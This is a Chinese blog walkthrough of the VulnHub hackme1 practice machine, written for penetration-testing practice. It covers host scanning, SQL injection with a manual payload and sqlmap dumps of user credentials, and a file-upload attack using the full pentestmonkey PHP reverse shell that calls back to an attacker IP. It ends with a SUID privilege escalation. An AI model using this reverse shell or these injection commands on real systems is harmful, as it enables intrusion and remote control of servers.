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靶机渗透练习13-hackme1

勇敢的趙迦禾 2022-04-15 阅读 53
web安全

靶机描述

靶机地址：https://www.vulnhub.com/entry/hackme-1,330/

一、搭建靶机环境

攻击机Kali：

靶机：

注：靶机与Kali的IP地址只需要在同一局域网即可（同一个网段,即两虚拟机处于同一网络模式）

二、实战

2.1网络扫描

2.1.1 启动靶机和Kali后进行扫描

方法一、arp-scan -I eth0 -l （指定网卡扫）

arp-scan -I eth0 -l

image-20220110164549218

方法二、masscan 扫描的网段 -p 扫描端口号

masscan 192.168.184.0/24 -p 80,22

方法三、netdiscover -i 网卡-r 网段

netdiscover -i eth0 -r 192.168.184.0/24

方法四、等你们补充

2.1.2 查看靶机开放的端口

使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口

image-20220110165448032

可以发现有 2 个端口开放，22 和 80

2.1.3 尝试访问靶机网页

image-20220110165925503

2.2枚举漏洞

22 端口分析

一般只能暴力破解，暂时没有合适的字典

80 端口分析

访问网站， 发现是一个登陆页面

image-20220110170217436

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Nm2jCq05-1650016495541)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110170424128.png)]

成功登录后

image-20220110170459764

尝试手工注入：x' or 1=1#

image-20220110170545322

成功返回所有信息，说明存在SQL注入

2.3漏洞利用

2.3.1 sqlmap 利用注入漏洞

使用 burp 抓查询数据包

image-20220110171403705

POST /welcome.php HTTP/1.1
Host: 192.168.184.149
Content-Length: 23
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.184.149
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.184.149/welcome.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=jub1jihglt85brngo5imqsifb3
Connection: close

search=x

将数据包保存为文件 hackme1.txt
使用 sqlmap 跑一下测试漏洞并获取数据库名：

🚀  python sqlmap.py -r hackme1.txt --dbs --batch

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数据库除了基础数据库有webapphacking

接下来咱们获取一下表名

🚀  python sqlmap.py -r hackme1.txt --batch -D webapphacking --tables

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1mzxiwhu-1650016495544)(C:\Users\zhang\AppData\Roaming\Typora\typora-user-images\image-20220110172336353.png)]

可以得到两个表books和users

咱们先获取一下users表的信息

🚀  python sqlmap.py -r hackme1.txt --batch -D webapphacking  -T users --dump --batch

image-20220110172611643

可以看到有一个superadmin，超级管理员，看起来像一个md5

image-20220110172854804

解出来密码是：Uncrackable

登录上去，发现有上传功能

image-20220110173107353

2.3.2 文件上传漏洞 getshell

将 kali 自带的 php-reverse-shell.php 复制一份到

image-20220110173434923

查看文件内容，并修改IP地址

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.184.128';  // CHANGE THIS
$port = 6666;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

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上传该文件

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在 kali 监听：nc -lvp 6666

访问后门文件：http://192.168.184.149/php-reverse-shell.php 不成功
尝试加上传文件夹：http://192.168.184.149/uploads/php-reverse-shell.php 成功访问

image-20220110174000535

使用 python 切换为 bash：python3 -c 'import pty; pty.spawn("/bin/bash")'

2.4权限提升

2.4.1 SUID 提权

sudo -l不顶用了，换个方法

查询 suid 权限程序: find / -perm -u=s -type f 2>/dev/null

www-data@hackme:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/snap/core20/1270/usr/bin/chfn
/snap/core20/1270/usr/bin/chsh
/snap/core20/1270/usr/bin/gpasswd
/snap/core20/1270/usr/bin/mount
/snap/core20/1270/usr/bin/newgrp
/snap/core20/1270/usr/bin/passwd
/snap/core20/1270/usr/bin/su
/snap/core20/1270/usr/bin/sudo
/snap/core20/1270/usr/bin/umount
/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1270/usr/lib/openssh/ssh-keysign
/snap/core/6531/bin/mount
/snap/core/6531/bin/ping
/snap/core/6531/bin/ping6
/snap/core/6531/bin/su
/snap/core/6531/bin/umount
/snap/core/6531/usr/bin/chfn
/snap/core/6531/usr/bin/chsh
/snap/core/6531/usr/bin/gpasswd
/snap/core/6531/usr/bin/newgrp
/snap/core/6531/usr/bin/passwd
/snap/core/6531/usr/bin/sudo
/snap/core/6531/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/6531/usr/lib/openssh/ssh-keysign
/snap/core/6531/usr/lib/snapd/snap-confine
/snap/core/6531/usr/sbin/pppd
/snap/core/5662/bin/mount
/snap/core/5662/bin/ping
/snap/core/5662/bin/ping6
/snap/core/5662/bin/su
/snap/core/5662/bin/umount
/snap/core/5662/usr/bin/chfn
/snap/core/5662/usr/bin/chsh
/snap/core/5662/usr/bin/gpasswd
/snap/core/5662/usr/bin/newgrp
/snap/core/5662/usr/bin/passwd
/snap/core/5662/usr/bin/sudo
/snap/core/5662/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/5662/usr/lib/openssh/ssh-keysign
/snap/core/5662/usr/lib/snapd/snap-confine
/snap/core/5662/usr/sbin/pppd
/snap/core/11993/bin/mount
/snap/core/11993/bin/ping
/snap/core/11993/bin/ping6
/snap/core/11993/bin/su
/snap/core/11993/bin/umount
/snap/core/11993/usr/bin/chfn
/snap/core/11993/usr/bin/chsh
/snap/core/11993/usr/bin/gpasswd
/snap/core/11993/usr/bin/newgrp
/snap/core/11993/usr/bin/passwd
/snap/core/11993/usr/bin/sudo
/snap/core/11993/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/11993/usr/lib/openssh/ssh-keysign
/snap/core/11993/usr/lib/snapd/snap-confine
/snap/core/11993/usr/sbin/pppd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/pkexec
/usr/bin/traceroute6.iputils
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/newgrp
/usr/bin/sudo
/home/legacy/touchmenot
/bin/mount
/bin/umount
/bin/ping
/bin/ntfs-3g
/bin/su
/bin/fusermount

发现一个可疑文件/home/legacy/touchmenot
在 https://gtfobins.github.io/网站上查询：touchmenot 没找到
尝试运行程序：发现直接提权成功

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qcpXI6zZ-1650016495551)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110174530827.png)]

找半天没找到flag的文件

what?就这？

总结

本节使用的工具和漏洞比较基础，涉及 SQL 注入漏洞和文件上传漏洞

  1. sql 注入工具：sqlmap
  2. 抓包工具：burpsuite
  3. Webshell 后门：kali 内置后门
  4. Suid 提权：touchmenot 提权
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